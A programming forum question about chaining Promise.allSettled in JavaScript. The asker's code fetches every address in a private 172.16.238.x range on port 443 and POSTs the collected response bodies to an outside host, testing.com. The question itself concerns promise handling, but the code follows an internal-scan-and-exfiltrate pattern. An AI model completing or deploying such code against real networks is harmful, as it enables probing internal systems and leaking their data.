title: Using Chained Promise.allSettled
body: <p>For a quick rundown of what I'm trying to do. I've got a basic <code>for</code> loop that generates an array of IPs that I want to fetch. I want to check that the <code>response.status</code> is 200 (Which I haven't implemented yet) and then take the IPs that returned a status of 200 and only keep those IPs.</p>
  <p>I’ve tried doing this with <code>Promise.all</code> but was left with the problem of it rejecting one, thus rejecting all of them. So now I'm at this code.</p>
  <pre><code>async function example() {
      var arr = [];
      for (let i = 4; i &lt;= 255; i++) {
          var ip = 'http://172.16.238.' + i.toString() + ':443';
          arr.push(ip);
      }
      Promise.allSettled(arr.map(u=&gt;fetch(u))).then(responses =&gt; Promise.allSettled(responses.map(res =&gt; res.text()))).then(texts =&gt; {fetch('https://testing.com', {method: 'POST', body: texts})})
  }
  example()
  </code></pre>
  <p>I'm getting <code>res.text()</code> isn't a function when used with <code>allSettled</code>. But I'm also confused as to how I would approach checking the status of each response. I'm mapping the url to each fetch and then mapping a response to it's text, so would I do the status check in the second mapping? The mapping is a bit confusing to me.</p>